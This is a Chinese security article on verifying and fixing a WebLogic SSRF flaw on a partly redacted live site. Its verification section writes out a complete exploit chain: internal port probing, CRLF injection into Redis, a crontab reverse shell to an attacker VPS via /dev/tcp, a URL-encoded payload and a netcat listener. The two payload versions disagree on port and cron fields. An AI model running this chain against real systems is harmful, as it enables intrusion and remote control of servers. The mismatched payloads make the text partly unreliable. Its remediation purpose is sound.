朱勤風 陳哲 馮曉碩 孫海波



【摘要】? ? 本文就工作中發現的一起“Weblogic_SSRF漏洞”,詳細介紹了對該漏洞的驗證過程,以及如何修復該漏洞,防止攻擊者利用該漏洞對服務器進行遠程執行代碼,獲得管理員權限、竊取用戶數據等。
【關鍵詞】? ? 網絡安全漏洞? ? Weblogic_SSRF? ? 命令執行? ? VPS? ? netcat工具
引言:
互聯網技術在帶給人們方便快捷的同時,也出現了越來越多的網絡安全漏洞。2021年5月下旬,受富士通安全事件影響,參與東京奧運會網絡安全演習的約90家組織安全管理人員的個人信息泄露;據悉,為了應對2021年東京奧運會期間可能出現的網絡攻擊,日本國家網絡安全中心召集約170位安全管理人員參與演習,他們的個人信息均遭泄露。目前距離東京奧運會正式開幕還有50天左右,組委會及日本政府正加大努力,以防止這場體育盛會遭受網絡攻擊 [1]。
服務端請求偽造(Server-Side Request Forgery),指的是攻擊者在未能取得服務器權限時,利用服務器的漏洞,以服務器身份發送一條構造好的請求給服務器所在內網,對內網的端口和服務進行探測,進而實施不法活動。SSRF通常是攻擊對外部網絡無法直接訪問的內部系統。
一、事件經過
筆者一直從事對網站的網絡安全漏洞掃描工作,于2021年5月發現一起比較典型的Weblogic_SSRF漏洞,供讀者參考。漏洞詳細情況:漏洞名稱為Weblogic_SSRF漏洞;漏洞數量1個;漏洞等級為高危;網站地址為:http://www.----.com:7001/uddiexplorer/ (“---”代表網站部分域名地址)。
二、驗證過程
1.首先通過Web安全漏洞掃描工具,發現網站(http://www.----.com:7001/uddiexplorer/)存在Weblogic_SSRF漏洞。下面我們開始對這個鏈接地址進行漏洞驗證,在驗證時需要使用VPS(Virtual Private Server 虛擬專用服務技術)進行端口反彈,對服務器進行攻擊使用。
2.開始驗證,查看該漏洞所在目標頁面,如圖1所示。
圖1? ? 漏洞位置
3.我們抓取如下代碼所示的請求包,對該請求進行分析。在該請求中operator參數是指對其它的url地址進行請求,測試該url地址是否存在SSRF漏洞。目的是對網絡中的內網進行攻擊,因為SSRF攻擊對象通常是對外部網絡無法直接訪問的內部系統。請示代碼如下:
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: www.---.com:7001
……………(省略)
operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi&rdoSearch=name&txtSearchname=111&txtSearchkey=111&txtSearchfor=111&selfor=Business+location&btnSubmit=Search
4.我們修改請求包中operator參數為http://127.0.0.1,并添加一個不存在的端口7000。請求后,在右側的界面中,返回結果為不能連接到http://127.0.0.1,如圖2所示。
圖2? ? 不能連接到指定的地址
圖3? ? 存在端口響應截圖
5.我們修改請求包中operator參數為http://127.0.0.1,并添加一個存在的端口7001。請求后,在右側的界面中,返回參數為404,說明已經連接到地址http://127.0.0.1,但是無法訪問,如圖3所示。
通過4、5兩個步驟,我們可以發現:通過內網返回響應的參數不同來判斷內網端口的開放情況(7000端口返回不能連接,7001端口返回404),進而知道內網服務的情況,從而加已利用。
6.Weblogic的SSRF有一個重要特征,即我們可以通過字符“%0a%0d”來注入換行,而某些服務(如redis)是通過換行符來分隔每條命令的,也就是說我們可以通過SSRF攻擊內網中的redis服務器。下面我們進行演示,首先通過SSRF探測內網中的redis服務器。內網中的網段很多是以172開頭的,對172開頭的網段進行腳本探測,根據返回的結果來判斷內網端口或者服務是否開啟。探測內網地址以及關鍵端口的腳本網上有許多,我們是從該網址下載了一個:https://github.com/ZH3FENG/Weblogic_SSRF/blob/master/Weblogic_SSRF.py
運行腳本程序,探測結果如圖4所示。
圖4? ? 腳本探測內網端口開放情況
7.從圖4中我們可以看到,腳本運行后探測出IP地址為172.26.0.3:6379,端口為6379,服務為redis。我們將探測出的IP地址及端口寫入第3步中的請求包中,運行后返回“did not have a valid SOAP content-type”,如圖5所示。
圖5? ? 對內網開放端口進行訪問測試
8.通過6379端口,我們給定時任務/etc/crontab中寫入shell,shell如下:
Test
set 1 “\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c ‘sh -i >& /dev/tcp/175.--.---.240/21 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save
aaa
9.將第8步中的shell命令進行url編碼(注意,換行符是“\r\n”,也就是“%0D%0A”,“---”為部分公網地址),編碼后結果如下:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F175.--.---.240%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
將編碼之后的shell寫入請求包的operator參數中,如圖6所示,在VPS上執行”nc -lvnp 7777”對7777端口進行監聽。nc是netcat的簡寫,有著網絡界的瑞士軍刀美譽,因為它短小精悍、功能實用,被設計為一個簡單、可靠的網絡工具,可以實現任意TCP/UDP端口的偵聽,-l用于指定nc將處于偵聽模式,-v顯示指令執行過程,-n直接使用IP地址,而不通過域名服務器,-p<通信端口>設置本地主機使用的通信端口。
圖6? ? ?編輯腳本對內網進行命令執行
10.監聽目標服務器。執行第9步后,我們在VPS上執行“nc -lvnp 7777”命令,已經可以接收到目標服務器的shell,如圖7所示。
圖7? ? ?接收到目標服務器的shell
從上面的驗證過程中,我們可以看到網站(http://www.---.com:7001/uddiexplorer/SearchPublicRegistries.jsp)存在Weblogic_SSRF漏洞。通過該漏洞我們可以在定時任務中寫入shell,進行遠程命令執行,使用nc工具監聽端口,直接拿到當前用戶的權限。
三、修復建議
1.過濾返回的信息。如果Web應用是去獲取某一種類型的文件,那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。
2.統一錯誤信息,避免用戶可以根據錯誤信息來判斷遠程服務器的端口狀態。
3.限制請求的端口,比如80、443、8080、8090等敏感端口。
4.禁止不常用的協議,僅僅允許http和https請求。可以防止類似于file://、gopher://、ftp://等引起的問題。
5.使用DNS緩存或者Host白名單的方式。
四、結束語
網絡安全漏洞防護工作不是一勞永逸的,尤其是零日漏洞的存在,更是對網絡安全造成重大危害。為了確保我們網站的安全,必須提高工作人員的責任心,定期對網站進行漏洞掃描工作,及時發現漏洞并修復,防止發生安全事件。這次發現的Weblogic_SSRF漏洞,可以對內外網的端口和服務進行掃描,攻擊運行在內網或本地的應用程序等,危害巨大。
網絡安全關系到國家的安全及發展。2021年6月10日,第十三屆全國人民代表大會常務委員會第二十九次會議通過了《中華人民共和國數據安全法》,進一步規范了數據處理活動,保障數據安全,促進數據開發利用,保護個人、組織的合法權益,維護國家主權、安全和發展利益。網絡安全無小事,必須做到防患于未然。
參? 考? 文? 獻
[1]互聯網安全內參. 東京奧組委遭網絡攻擊,工作人員信息外泄.2020-09-27;